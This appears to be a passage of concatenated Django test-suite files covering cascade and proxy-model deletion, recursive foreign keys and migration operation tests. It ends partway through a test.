class Version(models.Model):
    policy = models.ForeignKey(Policy, models.CASCADE)


class Location(models.Model):
    version = models.ForeignKey(Version, models.SET_NULL, blank=True, null=True)


class Item(models.Model):
    version = models.ForeignKey(Version, models.CASCADE)
    location = models.ForeignKey(Location, models.SET_NULL, blank=True, null=True)

# Models for #16128


class File(models.Model):
    pass


class Image(File):
    class Meta:
        proxy = True


class Photo(Image):
    class Meta:
        proxy = True


class FooImage(models.Model):
    my_image = models.ForeignKey(Image, models.CASCADE)


class FooFile(models.Model):
    my_file = models.ForeignKey(File, models.CASCADE)


class FooPhoto(models.Model):
    my_photo = models.ForeignKey(Photo, models.CASCADE)


class FooFileProxy(FooFile):
    class Meta:
        proxy = True


class OrgUnit(models.Model):
    name = models.CharField(max_length=64, unique=True)


class Login(models.Model):
    description = models.CharField(max_length=32)
    orgunit = models.ForeignKey(OrgUnit, models.CASCADE)


class House(models.Model):
    address = models.CharField(max_length=32)


class OrderedPerson(models.Model):
    name = models.CharField(max_length=32)
    lives_in = models.ForeignKey(House, models.CASCADE)

    class Meta:
        ordering = ['name']












from __future__ import unicode_literals

import datetime

from django.db import connection, models, transaction
from django.test import TestCase, TransactionTestCase, skipUnlessDBFeature

from .models import (
    Award, AwardNote, Book, Child, Eaten, Email, File, Food, FooFile,
    FooFileProxy, FooImage, FooPhoto, House, Image, Item, Location, Login,
    OrderedPerson, OrgUnit, Person, Photo, PlayedWith, PlayedWithNote, Policy,
    Researcher, Toy, Version,
)


# Can't run this test under SQLite, because you can't
# get two connections to an in-memory database.
@skipUnlessDBFeature('test_db_allows_multiple_connections')
class DeleteLockingTest(TransactionTestCase):

    available_apps = ['delete_regress']

    def setUp(self):
        # Create a second connection to the default database
        self.conn2 = connection.copy()
        self.conn2.set_autocommit(False)

    def tearDown(self):
        # Close down the second connection.
        self.conn2.rollback()
        self.conn2.close()

    def test_concurrent_delete(self):
        """Concurrent deletes don't collide and lock the database (#9479)."""
        with transaction.atomic():
            Book.objects.create(id=1, pagecount=100)
            Book.objects.create(id=2, pagecount=200)
            Book.objects.create(id=3, pagecount=300)

        with transaction.atomic():
            # Start a transaction on the main connection.
            self.assertEqual(3, Book.objects.count())

            # Delete something using another database connection.
            with self.conn2.cursor() as cursor2:
                cursor2.execute("DELETE from delete_regress_book WHERE id = 1")
            self.conn2.commit()

            # In the same transaction on the main connection, perform a
            # queryset delete that covers the object deleted with the other
            # connection. This causes an infinite loop under MySQL InnoDB
            # unless we keep track of already deleted objects.
            Book.objects.filter(pagecount__lt=250).delete()

        self.assertEqual(1, Book.objects.count())


class DeleteCascadeTests(TestCase):
    def test_generic_relation_cascade(self):
        """
        Django cascades deletes through generic-related objects to their
        reverse relations.
        """
        person = Person.objects.create(name='Nelson Mandela')
        award = Award.objects.create(name='Nobel', content_object=person)
        AwardNote.objects.create(note='a peace prize',
                                 award=award)
        self.assertEqual(AwardNote.objects.count(), 1)
        person.delete()
        self.assertEqual(Award.objects.count(), 0)
        # first two asserts are just sanity checks, this is the kicker:
        self.assertEqual(AwardNote.objects.count(), 0)

    def test_fk_to_m2m_through(self):
        """
        If an M2M relationship has an explicitly-specified through model, and
        some other model has an FK to that through model, deletion is cascaded
        from one of the participants in the M2M, to the through model, to its
        related model.
        """
        juan = Child.objects.create(name='Juan')
        paints = Toy.objects.create(name='Paints')
        played = PlayedWith.objects.create(child=juan, toy=paints,
                                           date=datetime.date.today())
        PlayedWithNote.objects.create(played=played,
                                      note='the next Jackson Pollock')
        self.assertEqual(PlayedWithNote.objects.count(), 1)
        paints.delete()
        self.assertEqual(PlayedWith.objects.count(), 0)
        # first two asserts just sanity checks, this is the kicker:
        self.assertEqual(PlayedWithNote.objects.count(), 0)

    def test_15776(self):
        policy = Policy.objects.create(pk=1, policy_number="1234")
        version = Version.objects.create(policy=policy)
        location = Location.objects.create(version=version)
        Item.objects.create(version=version, location=location)
        policy.delete()


class DeleteCascadeTransactionTests(TransactionTestCase):

    available_apps = ['delete_regress']

    def test_inheritance(self):
        """
        Auto-created many-to-many through tables referencing a parent model are
        correctly found by the delete cascade when a child of that parent is
        deleted.

        Refs #14896.
        """
        r = Researcher.objects.create()
        email = Email.objects.create(
            label="office-email", email_address="carl@science.edu"
        )
        r.contacts.add(email)

        email.delete()

    def test_to_field(self):
        """
        Cascade deletion works with ForeignKey.to_field set to non-PK.
        """
        apple = Food.objects.create(name="apple")
        Eaten.objects.create(food=apple, meal="lunch")

        apple.delete()
        self.assertFalse(Food.objects.exists())
        self.assertFalse(Eaten.objects.exists())


class LargeDeleteTests(TestCase):
    def test_large_deletes(self):
        "Regression for #13309 -- if the number of objects > chunk size, deletion still occurs"
        for x in range(300):
            Book.objects.create(pagecount=x + 100)
        # attach a signal to make sure we will not fast-delete

        def noop(*args, **kwargs):
            pass
        models.signals.post_delete.connect(noop, sender=Book)
        Book.objects.all().delete()
        models.signals.post_delete.disconnect(noop, sender=Book)
        self.assertEqual(Book.objects.count(), 0)


class ProxyDeleteTest(TestCase):
    """
    Tests on_delete behavior for proxy models.

    See #16128.
    """
    def create_image(self):
        """Return an Image referenced by both a FooImage and a FooFile."""
        # Create an Image
        test_image = Image()
        test_image.save()
        foo_image = FooImage(my_image=test_image)
        foo_image.save()

        # Get the Image instance as a File
        test_file = File.objects.get(pk=test_image.pk)
        foo_file = FooFile(my_file=test_file)
        foo_file.save()

        return test_image

    def test_delete_proxy(self):
        """
        Deleting the *proxy* instance bubbles through to its non-proxy and
        *all* referring objects are deleted.
        """
        self.create_image()

        Image.objects.all().delete()

        # An Image deletion == File deletion
        self.assertEqual(len(Image.objects.all()), 0)
        self.assertEqual(len(File.objects.all()), 0)

        # The Image deletion cascaded and *all* references to it are deleted.
        self.assertEqual(len(FooImage.objects.all()), 0)
        self.assertEqual(len(FooFile.objects.all()), 0)

    def test_delete_proxy_of_proxy(self):
        """
        Deleting a proxy-of-proxy instance should bubble through to its proxy
        and non-proxy parents, deleting *all* referring objects.
        """
        test_image = self.create_image()

        # Get the Image as a Photo
        test_photo = Photo.objects.get(pk=test_image.pk)
        foo_photo = FooPhoto(my_photo=test_photo)
        foo_photo.save()

        Photo.objects.all().delete()

        # A Photo deletion == Image deletion == File deletion
        self.assertEqual(len(Photo.objects.all()), 0)
        self.assertEqual(len(Image.objects.all()), 0)
        self.assertEqual(len(File.objects.all()), 0)

        # The Photo deletion should have cascaded and deleted *all*
        # references to it.
        self.assertEqual(len(FooPhoto.objects.all()), 0)
        self.assertEqual(len(FooFile.objects.all()), 0)
        self.assertEqual(len(FooImage.objects.all()), 0)

    def test_delete_concrete_parent(self):
        """
        Deleting an instance of a concrete model should also delete objects
        referencing its proxy subclass.
        """
        self.create_image()

        File.objects.all().delete()

        # A File deletion == Image deletion
        self.assertEqual(len(File.objects.all()), 0)
        self.assertEqual(len(Image.objects.all()), 0)

        # The File deletion should have cascaded and deleted *all* references
        # to it.
        self.assertEqual(len(FooFile.objects.all()), 0)
        self.assertEqual(len(FooImage.objects.all()), 0)

    def test_delete_proxy_pair(self):
        """
        If a pair of proxy models are linked by an FK from one concrete parent
        to the other, deleting one proxy model cascade-deletes the other, and
        the deletion happens in the right order (not triggering an
        IntegrityError on databases unable to defer integrity checks).

        Refs #17918.
        """
        # Create an Image (proxy of File) and FooFileProxy (proxy of FooFile,
        # which has an FK to File)
        image = Image.objects.create()
        as_file = File.objects.get(pk=image.pk)
        FooFileProxy.objects.create(my_file=as_file)

        Image.objects.all().delete()

        self.assertEqual(len(FooFileProxy.objects.all()), 0)

    def test_19187_values(self):
        with self.assertRaises(TypeError):
            Image.objects.values().delete()
        with self.assertRaises(TypeError):
            Image.objects.values_list().delete()


class Ticket19102Tests(TestCase):
    """
    Test different queries which alter the SELECT clause of the query. We
    also must be using a subquery for the deletion (that is, the original
    query has a join in it). The deletion should be done as "fast-path"
    deletion (that is, just one query for the .delete() call).

    Note that .values() is not tested here on purpose. .values().delete()
    doesn't work for non fast-path deletes at all.
    """
    def setUp(self):
        self.o1 = OrgUnit.objects.create(name='o1')
        self.o2 = OrgUnit.objects.create(name='o2')
        self.l1 = Login.objects.create(description='l1', orgunit=self.o1)
        self.l2 = Login.objects.create(description='l2', orgunit=self.o2)

    @skipUnlessDBFeature("update_can_self_select")
    def test_ticket_19102_annotate(self):
        with self.assertNumQueries(1):
            Login.objects.order_by('description').filter(
                orgunit__name__isnull=False
            ).annotate(
                n=models.Count('description')
            ).filter(
                n=1, pk=self.l1.pk
            ).delete()
        self.assertFalse(Login.objects.filter(pk=self.l1.pk).exists())
        self.assertTrue(Login.objects.filter(pk=self.l2.pk).exists())

    @skipUnlessDBFeature("update_can_self_select")
    def test_ticket_19102_extra(self):
        with self.assertNumQueries(1):
            Login.objects.order_by('description').filter(
                orgunit__name__isnull=False
            ).extra(
                select={'extraf': '1'}
            ).filter(
                pk=self.l1.pk
            ).delete()
        self.assertFalse(Login.objects.filter(pk=self.l1.pk).exists())
        self.assertTrue(Login.objects.filter(pk=self.l2.pk).exists())

    @skipUnlessDBFeature("update_can_self_select")
    @skipUnlessDBFeature('can_distinct_on_fields')
    def test_ticket_19102_distinct_on(self):
        # Both Login objs should have same description so that only the one
        # having smaller PK will be deleted.
        Login.objects.update(description='description')
        with self.assertNumQueries(1):
            Login.objects.distinct('description').order_by('pk').filter(
                orgunit__name__isnull=False
            ).delete()
        # Assumed that l1 which is created first has smaller PK.
        self.assertFalse(Login.objects.filter(pk=self.l1.pk).exists())
        self.assertTrue(Login.objects.filter(pk=self.l2.pk).exists())

    @skipUnlessDBFeature("update_can_self_select")
    def test_ticket_19102_select_related(self):
        with self.assertNumQueries(1):
            Login.objects.filter(
                pk=self.l1.pk
            ).filter(
                orgunit__name__isnull=False
            ).order_by(
                'description'
            ).select_related('orgunit').delete()
        self.assertFalse(Login.objects.filter(pk=self.l1.pk).exists())
        self.assertTrue(Login.objects.filter(pk=self.l2.pk).exists())

    @skipUnlessDBFeature("update_can_self_select")
    def test_ticket_19102_defer(self):
        with self.assertNumQueries(1):
            Login.objects.filter(
                pk=self.l1.pk
            ).filter(
                orgunit__name__isnull=False
            ).order_by(
                'description'
            ).only('id').delete()
        self.assertFalse(Login.objects.filter(pk=self.l1.pk).exists())
        self.assertTrue(Login.objects.filter(pk=self.l2.pk).exists())


class OrderedDeleteTests(TestCase):
    def test_meta_ordered_delete(self):
        # When a subquery is performed by deletion code, the subquery must be
        # cleared of all ordering. There was a but that caused _meta ordering
        # to be used. Refs #19720.
        h = House.objects.create(address='Foo')
        OrderedPerson.objects.create(name='Jack', lives_in=h)
        OrderedPerson.objects.create(name='Bob', lives_in=h)
        OrderedPerson.objects.filter(lives_in__address='Foo').delete()
        self.assertEqual(OrderedPerson.objects.count(), 0)






"""
Relating an object to itself, many-to-one

To define a many-to-one relationship between a model and itself, use
``ForeignKey('self', ...)``.

In this example, a ``Category`` is related to itself. That is, each
``Category`` has a parent ``Category``.

Set ``related_name`` to designate what the reverse relationship is called.
"""

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Category(models.Model):
    name = models.CharField(max_length=20)
    parent = models.ForeignKey('self', models.SET_NULL, blank=True, null=True, related_name='child_set')

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Person(models.Model):
    full_name = models.CharField(max_length=20)
    mother = models.ForeignKey('self', models.SET_NULL, null=True, related_name='mothers_child_set')
    father = models.ForeignKey('self', models.SET_NULL, null=True, related_name='fathers_child_set')

    def __str__(self):
        return self.full_name












from __future__ import unicode_literals

from django.test import TestCase

from .models import Category, Person


class ManyToOneRecursiveTests(TestCase):

    def setUp(self):
        self.r = Category(id=None, name='Root category', parent=None)
        self.r.save()
        self.c = Category(id=None, name='Child category', parent=self.r)
        self.c.save()

    def test_m2o_recursive(self):
        self.assertQuerysetEqual(self.r.child_set.all(),
                                 ['<Category: Child category>'])
        self.assertEqual(self.r.child_set.get(name__startswith='Child').id, self.c.id)
        self.assertIsNone(self.r.parent)
        self.assertQuerysetEqual(self.c.child_set.all(), [])
        self.assertEqual(self.c.parent.id, self.r.id)


class MultipleManyToOneRecursiveTests(TestCase):

    def setUp(self):
        self.dad = Person(full_name='John Smith Senior', mother=None, father=None)
        self.dad.save()
        self.mom = Person(full_name='Jane Smith', mother=None, father=None)
        self.mom.save()
        self.kid = Person(full_name='John Smith Junior', mother=self.mom, father=self.dad)
        self.kid.save()

    def test_m2o_recursive2(self):
        self.assertEqual(self.kid.mother.id, self.mom.id)
        self.assertEqual(self.kid.father.id, self.dad.id)
        self.assertQuerysetEqual(self.dad.fathers_child_set.all(),
                                 ['<Person: John Smith Junior>'])
        self.assertQuerysetEqual(self.mom.mothers_child_set.all(),
                                 ['<Person: John Smith Junior>'])
        self.assertQuerysetEqual(self.kid.mothers_child_set.all(), [])
        self.assertQuerysetEqual(self.kid.fathers_child_set.all(), [])






from django.db.migrations.exceptions import NodeNotFoundError
from django.test import SimpleTestCase


class ExceptionTests(SimpleTestCase):
    def test_node_not_found_error_repr(self):
        node = ('some_app_label', 'some_migration_label')
        error_repr = repr(NodeNotFoundError('some message', node))
        self.assertEqual(
            error_repr,
            "NodeNotFoundError(('some_app_label', 'some_migration_label'))"
        )






class TestRouter(object):
    def allow_migrate(self, db, app_label, model_name=None, **hints):
        """
        The Tribble model should be the only one to appear in the 'other' db.
        """
        if model_name == 'tribble':
            return db == 'other'
        elif db == 'other':
            return False






from __future__ import unicode_literals

from django.db.migrations.questioner import MigrationQuestioner
from django.test import SimpleTestCase
from django.test.utils import override_settings


class QuestionerTests(SimpleTestCase):
    @override_settings(
        INSTALLED_APPS=['migrations'],
        MIGRATION_MODULES={'migrations': None},
    )
    def test_ask_initial_with_disabled_migrations(self):
        questioner = MigrationQuestioner()
        self.assertIs(False, questioner.ask_initial('migrations'))






import os
import shutil
import tempfile
from contextlib import contextmanager
from importlib import import_module

from django.apps import apps
from django.db import connections
from django.db.migrations.recorder import MigrationRecorder
from django.test import TransactionTestCase
from django.test.utils import extend_sys_path
from django.utils.module_loading import module_dir


class MigrationTestBase(TransactionTestCase):
    """
    Contains an extended set of asserts for testing migrations and schema operations.
    """

    available_apps = ["migrations"]

    def tearDown(self):
        # Reset applied-migrations state.
        for db in connections:
            recorder = MigrationRecorder(connections[db])
            recorder.migration_qs.filter(app='migrations').delete()

    def get_table_description(self, table, using='default'):
        with connections[using].cursor() as cursor:
            return connections[using].introspection.get_table_description(cursor, table)

    def assertTableExists(self, table, using='default'):
        with connections[using].cursor() as cursor:
            self.assertIn(table, connections[using].introspection.table_names(cursor))

    def assertTableNotExists(self, table, using='default'):
        with connections[using].cursor() as cursor:
            self.assertNotIn(table, connections[using].introspection.table_names(cursor))

    def assertColumnExists(self, table, column, using='default'):
        self.assertIn(column, [c.name for c in self.get_table_description(table, using=using)])

    def assertColumnNotExists(self, table, column, using='default'):
        self.assertNotIn(column, [c.name for c in self.get_table_description(table, using=using)])

    def _get_column_allows_null(self, table, column, using):
        return [c.null_ok for c in self.get_table_description(table, using=using) if c.name == column][0]

    def assertColumnNull(self, table, column, using='default'):
        self.assertEqual(self._get_column_allows_null(table, column, using), True)

    def assertColumnNotNull(self, table, column, using='default'):
        self.assertEqual(self._get_column_allows_null(table, column, using), False)

    def assertIndexExists(self, table, columns, value=True, using='default'):
        with connections[using].cursor() as cursor:
            self.assertEqual(
                value,
                any(
                    c["index"]
                    for c in connections[using].introspection.get_constraints(cursor, table).values()
                    if c['columns'] == list(columns)
                ),
            )

    def assertIndexNotExists(self, table, columns):
        return self.assertIndexExists(table, columns, False)

    def assertFKExists(self, table, columns, to, value=True, using='default'):
        with connections[using].cursor() as cursor:
            self.assertEqual(
                value,
                any(
                    c["foreign_key"] == to
                    for c in connections[using].introspection.get_constraints(cursor, table).values()
                    if c['columns'] == list(columns)
                ),
            )

    def assertFKNotExists(self, table, columns, to, value=True):
        return self.assertFKExists(table, columns, to, False)

    @contextmanager
    def temporary_migration_module(self, app_label='migrations', module=None):
        """
        Allows testing management commands in a temporary migrations module.

        Wrap all invocations to makemigrations and squashmigrations with this
        context manager in order to avoid creating migration files in your
        source tree inadvertently.

        Takes the application label that will be passed to makemigrations or
        squashmigrations and the Python path to a migrations module.

        The migrations module is used as a template for creating the temporary
        migrations module. If it isn't provided, the application's migrations
        module is used, if it exists.

        Returns the filesystem path to the temporary migrations module.
        """
        temp_dir = tempfile.mkdtemp()
        try:
            target_dir = tempfile.mkdtemp(dir=temp_dir)
            with open(os.path.join(target_dir, '__init__.py'), 'w'):
                pass
            target_migrations_dir = os.path.join(target_dir, 'migrations')

            if module is None:
                module = apps.get_app_config(app_label).name + '.migrations'

            try:
                source_migrations_dir = module_dir(import_module(module))
            except (ImportError, ValueError):
                pass
            else:
                shutil.copytree(source_migrations_dir, target_migrations_dir)

            with extend_sys_path(temp_dir):
                new_module = os.path.basename(target_dir) + '.migrations'
                with self.settings(MIGRATION_MODULES={app_label: new_module}):
                    yield target_migrations_dir

        finally:
            shutil.rmtree(temp_dir)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.apps.registry import Apps
from django.db import models
from django.utils import six
from django.utils.encoding import python_2_unicode_compatible


class CustomModelBase(models.base.ModelBase):
    pass


class ModelWithCustomBase(six.with_metaclass(CustomModelBase, models.Model)):
    pass


@python_2_unicode_compatible
class UnicodeModel(models.Model):
    title = models.CharField('ÚÑÍ¢ÓÐÉ', max_length=20, default='“Ðjáñgó”')

    class Meta:
        # Disable auto loading of this model as we load it on our own
        apps = Apps()
        verbose_name = 'úñí©óðé µóðéø'
        verbose_name_plural = 'úñí©óðé µóðéøß'

    def __str__(self):
        return self.title


class Unserializable(object):
    """
    An object that migration doesn't know how to serialize.
    """
    pass


class UnserializableModel(models.Model):
    title = models.CharField(max_length=20, default=Unserializable())

    class Meta:
        # Disable auto loading of this model as we load it on our own
        apps = Apps()


class UnmigratedModel(models.Model):
    """
    A model that is in a migration-less app (which this app is
    if its migrations directory has not been repointed)
    """
    pass


class EmptyManager(models.Manager):
    use_in_migrations = True


class FoodQuerySet(models.query.QuerySet):
    pass


class BaseFoodManager(models.Manager):
    def __init__(self, a, b, c=1, d=2):
        super(BaseFoodManager, self).__init__()
        self.args = (a, b, c, d)


class FoodManager(BaseFoodManager.from_queryset(FoodQuerySet)):
    use_in_migrations = True


class NoMigrationFoodManager(BaseFoodManager.from_queryset(FoodQuerySet)):
    pass






from django.core.management import call_command
from django.test import override_settings

from .test_base import MigrationTestBase


class Tests(MigrationTestBase):
    """
    Deprecated model fields should still be usable in historic migrations.
    """
    @override_settings(MIGRATION_MODULES={"migrations": "migrations.deprecated_field_migrations"})
    def test_migrate(self):
        # Make sure no tables are created
        self.assertTableNotExists("migrations_ipaddressfield")
        # Run migration
        call_command("migrate", verbosity=0)
        # Make sure the right tables exist
        self.assertTableExists("migrations_ipaddressfield")
        # Unmigrate everything
        call_command("migrate", "migrations", "zero", verbosity=0)
        # Make sure it's all gone
        self.assertTableNotExists("migrations_ipaddressfield")






from __future__ import unicode_literals

import unittest

from django.db import connection, migrations, models, transaction
from django.db.migrations.migration import Migration
from django.db.migrations.state import ProjectState
from django.db.models.fields import NOT_PROVIDED
from django.db.transaction import atomic
from django.db.utils import IntegrityError
from django.test import override_settings, skipUnlessDBFeature

from .models import FoodManager, FoodQuerySet, UnicodeModel
from .test_base import MigrationTestBase

try:
    import sqlparse
except ImportError:
    sqlparse = None


class Mixin(object):
    pass


class OperationTestBase(MigrationTestBase):
    """
    Common functions to help test operations.
    """

    def apply_operations(self, app_label, project_state, operations):
        migration = Migration('name', app_label)
        migration.operations = operations
        with connection.schema_editor() as editor:
            return migration.apply(project_state, editor)

    def unapply_operations(self, app_label, project_state, operations):
        migration = Migration('name', app_label)
        migration.operations = operations
        with connection.schema_editor() as editor:
            return migration.unapply(project_state, editor)

    def make_test_state(self, app_label, operation, **kwargs):
        """
        Makes a test state using set_up_test_model and returns the
        original state and the state after the migration is applied.
        """
        project_state = self.set_up_test_model(app_label, **kwargs)
        new_state = project_state.clone()
        operation.state_forwards(app_label, new_state)
        return project_state, new_state

    def set_up_test_model(
            self, app_label, second_model=False, third_model=False, index=False, multicol_index=False,
            related_model=False, mti_model=False, proxy_model=False, manager_model=False,
            unique_together=False, options=False, db_table=None, index_together=False):
        """
        Creates a test model state and database table.
        """
        # Delete the tables if they already exist
        table_names = [
            # Start with ManyToMany tables
            '_pony_stables', '_pony_vans',
            # Then standard model tables
            '_pony', '_stable', '_van',
        ]
        tables = [(app_label + table_name) for table_name in table_names]
        with connection.cursor() as cursor:
            table_names = connection.introspection.table_names(cursor)
            connection.disable_constraint_checking()
            sql_delete_table = connection.schema_editor().sql_delete_table
            with transaction.atomic():
                for table in tables:
                    if table in table_names:
                        cursor.execute(sql_delete_table % {
                            "table": connection.ops.quote_name(table),
                        })
            connection.enable_constraint_checking()

        # Make the "current" state
        model_options = {
            "swappable": "TEST_SWAP_MODEL",
            "index_together": [["weight", "pink"]] if index_together else [],
            "unique_together": [["pink", "weight"]] if unique_together else [],
        }
        if options:
            model_options["permissions"] = [("can_groom", "Can groom")]
        if db_table:
            model_options["db_table"] = db_table
        operations = [migrations.CreateModel(
            "Pony",
            [
                ("id", models.AutoField(primary_key=True)),
                ("pink", models.IntegerField(default=3)),
                ("weight", models.FloatField()),
            ],
            options=model_options,
        )]
        if index:
            operations.append(migrations.AddIndex(
                "Pony",
                models.Index(fields=["pink"], name="pony_pink_idx")
            ))
        if multicol_index:
            operations.append(migrations.AddIndex(
                "Pony",
                models.Index(fields=["pink", "weight"], name="pony_test_idx")
            ))
        if second_model:
            operations.append(migrations.CreateModel(
                "Stable",
                [
                    ("id", models.AutoField(primary_key=True)),
                ]
            ))
        if third_model:
            operations.append(migrations.CreateModel(
                "Van",
                [
                    ("id", models.AutoField(primary_key=True)),
                ]
            ))
        if related_model:
            operations.append(migrations.CreateModel(
                "Rider",
                [
                    ("id", models.AutoField(primary_key=True)),
                    ("pony", models.ForeignKey("Pony", models.CASCADE)),
                    ("friend", models.ForeignKey("self", models.CASCADE))
                ],
            ))
        if mti_model:
            operations.append(migrations.CreateModel(
                "ShetlandPony",
                fields=[
                    ('pony_ptr', models.OneToOneField(
                        'Pony',
                        models.CASCADE,
                        auto_created=True,
                        parent_link=True,
                        primary_key=True,
                        to_field='id',
                        serialize=False,
                    )),
                    ("cuteness", models.IntegerField(default=1)),
                ],
                bases=['%s.Pony' % app_label],
            ))
        if proxy_model:
            operations.append(migrations.CreateModel(
                "ProxyPony",
                fields=[],
                options={"proxy": True},
                bases=['%s.Pony' % app_label],
            ))
        if manager_model:
            operations.append(migrations.CreateModel(
                "Food",
                fields=[
                    ("id", models.AutoField(primary_key=True)),
                ],
                managers=[
                    ("food_qs", FoodQuerySet.as_manager()),
                    ("food_mgr", FoodManager("a", "b")),
                    ("food_mgr_kwargs", FoodManager("x", "y", 3, 4)),
                ]
            ))

        return self.apply_operations(app_label, ProjectState(), operations)


class OperationTests(OperationTestBase):
    """
    Tests running the operations and making sure they do what they say they do.
    Each test looks at their state changing, and then their database operation -
    both forwards and backwards.
    """

    def test_create_model(self):
        """
        Tests the CreateModel operation.
        Most other tests use this operation as part of setup, so check failures here first.
        """
        operation = migrations.CreateModel(
            "Pony",
            [
                ("id", models.AutoField(primary_key=True)),
                ("pink", models.IntegerField(default=1)),
            ],
        )
        self.assertEqual(operation.describe(), "Create model Pony")
        # Test the state alteration
        project_state = ProjectState()
        new_state = project_state.clone()
        operation.state_forwards("test_crmo", new_state)
        self.assertEqual(new_state.models["test_crmo", "pony"].name, "Pony")
        self.assertEqual(len(new_state.models["test_crmo", "pony"].fields), 2)
        # Test the database alteration
        self.assertTableNotExists("test_crmo_pony")
        with connection.schema_editor() as editor:
            operation.database_forwards("test_crmo", editor, project_state, new_state)
        self.assertTableExists("test_crmo_pony")
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_crmo", editor, new_state, project_state)
        self.assertTableNotExists("test_crmo_pony")
        # And deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], "CreateModel")
        self.assertEqual(definition[1], [])
        self.assertEqual(sorted(definition[2].keys()), ["fields", "name"])
        # And default manager not in set
        operation = migrations.CreateModel("Foo", fields=[], managers=[("objects", models.Manager())])
        definition = operation.deconstruct()
        self.assertNotIn('managers', definition[2])

    def test_create_model_with_duplicate_field_name(self):
        with self.assertRaisesMessage(ValueError, 'Found duplicate value pink in CreateModel fields argument.'):
            migrations.CreateModel(
                "Pony",
                [
                    ("id", models.AutoField(primary_key=True)),
                    ("pink", models.TextField()),
                    ("pink", models.IntegerField(default=1)),
                ],
            )

    def test_create_model_with_duplicate_base(self):
        message = 'Found duplicate value test_crmo.pony in CreateModel bases argument.'
        with self.assertRaisesMessage(ValueError, message):
            migrations.CreateModel(
                "Pony",
                fields=[],
                bases=("test_crmo.Pony", "test_crmo.Pony",),
            )
        with self.assertRaisesMessage(ValueError, message):
            migrations.CreateModel(
                "Pony",
                fields=[],
                bases=("test_crmo.Pony", "test_crmo.pony",),
            )
        message = 'Found duplicate value migrations.unicodemodel in CreateModel bases argument.'
        with self.assertRaisesMessage(ValueError, message):
            migrations.CreateModel(
                "Pony",
                fields=[],
                bases=(UnicodeModel, UnicodeModel,),
            )
        with self.assertRaisesMessage(ValueError, message):
            migrations.CreateModel(
                "Pony",
                fields=[],
                bases=(UnicodeModel, 'migrations.unicodemodel',),
            )
        with self.assertRaisesMessage(ValueError, message):
            migrations.CreateModel(
                "Pony",
                fields=[],
                bases=(UnicodeModel, 'migrations.UnicodeModel',),
            )
        message = "Found duplicate value <class 'django.db.models.base.Model'> in CreateModel bases argument."
        with self.assertRaisesMessage(ValueError, message):
            migrations.CreateModel(
                "Pony",
                fields=[],
                bases=(models.Model, models.Model,),
            )
        message = "Found duplicate value <class 'migrations.test_operations.Mixin'> in CreateModel bases argument."
        with self.assertRaisesMessage(ValueError, message):
            migrations.CreateModel(
                "Pony",
                fields=[],
                bases=(Mixin, Mixin,),
            )

    def test_create_model_with_duplicate_manager_name(self):
        with self.assertRaisesMessage(ValueError, 'Found duplicate value objects in CreateModel managers argument.'):
            migrations.CreateModel(
                "Pony",
                fields=[],
                managers=[
                    ("objects", models.Manager()),
                    ("objects", models.Manager()),
                ],
            )

    def test_create_model_with_unique_after(self):
        """
        Tests the CreateModel operation directly followed by an
        AlterUniqueTogether (bug #22844 - sqlite remake issues)
        """
        operation1 = migrations.CreateModel(
            "Pony",
            [
                ("id", models.AutoField(primary_key=True)),
                ("pink", models.IntegerField(default=1)),
            ],
        )
        operation2 = migrations.CreateModel(
            "Rider",
            [
                ("id", models.AutoField(primary_key=True)),
                ("number", models.IntegerField(default=1)),
                ("pony", models.ForeignKey("test_crmoua.Pony", models.CASCADE)),
            ],
        )
        operation3 = migrations.AlterUniqueTogether(
            "Rider",
            [
                ("number", "pony"),
            ],
        )
        # Test the database alteration
        project_state = ProjectState()
        self.assertTableNotExists("test_crmoua_pony")
        self.assertTableNotExists("test_crmoua_rider")
        with connection.schema_editor() as editor:
            new_state = project_state.clone()
            operation1.state_forwards("test_crmoua", new_state)
            operation1.database_forwards("test_crmoua", editor, project_state, new_state)
            project_state, new_state = new_state, new_state.clone()
            operation2.state_forwards("test_crmoua", new_state)
            operation2.database_forwards("test_crmoua", editor, project_state, new_state)
            project_state, new_state = new_state, new_state.clone()
            operation3.state_forwards("test_crmoua", new_state)
            operation3.database_forwards("test_crmoua", editor, project_state, new_state)
        self.assertTableExists("test_crmoua_pony")
        self.assertTableExists("test_crmoua_rider")

    def test_create_model_m2m(self):
        """
        Test the creation of a model with a ManyToMany field and the
        auto-created "through" model.
        """
        project_state = self.set_up_test_model("test_crmomm")
        operation = migrations.CreateModel(
            "Stable",
            [
                ("id", models.AutoField(primary_key=True)),
                ("ponies", models.ManyToManyField("Pony", related_name="stables"))
            ]
        )
        # Test the state alteration
        new_state = project_state.clone()
        operation.state_forwards("test_crmomm", new_state)
        # Test the database alteration
        self.assertTableNotExists("test_crmomm_stable_ponies")
        with connection.schema_editor() as editor:
            operation.database_forwards("test_crmomm", editor, project_state, new_state)
        self.assertTableExists("test_crmomm_stable")
        self.assertTableExists("test_crmomm_stable_ponies")
        self.assertColumnNotExists("test_crmomm_stable", "ponies")
        # Make sure the M2M field actually works
        with atomic():
            Pony = new_state.apps.get_model("test_crmomm", "Pony")
            Stable = new_state.apps.get_model("test_crmomm", "Stable")
            stable = Stable.objects.create()
            p1 = Pony.objects.create(pink=False, weight=4.55)
            p2 = Pony.objects.create(pink=True, weight=5.43)
            stable.ponies.add(p1, p2)
            self.assertEqual(stable.ponies.count(), 2)
            stable.ponies.all().delete()
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards("test_crmomm", editor, new_state, project_state)
        self.assertTableNotExists("test_crmomm_stable")
        self.assertTableNotExists("test_crmomm_stable_ponies")

    def test_create_model_inheritance(self):
        """
        Tests the CreateModel operation on a multi-table inheritance setup.
        """
        project_state = self.set_up_test_model("test_crmoih")
        # Test the state alteration
        operation = migrations.CreateModel(
            "ShetlandPony",
            [
                ('pony_ptr', models.OneToOneField(
                    'test_crmoih.Pony',
                    models.CASCADE,
                    auto_created=True,
                    primary_key=True,
                    to_field='id',
                    serialize=False,
                )),
                ("cuteness", models.IntegerField(default=1)),
            ],
        )
        new_state = project_state.clone()
        operation.state_forwards("test_crmoih", new_state)
        self.assertIn(("test_crmoih", "shetlandpony"), new_state.models)
        # Test the database alteration
        self.assertTableNotExists("test_crmoih_shetlandpony")
        with connection.schema_editor() as editor:
            operation.database_forwards("test_crmoih", editor, project_state, new_state)
        self.assertTableExists("test_crmoih_shetlandpony")
        # And test reversal
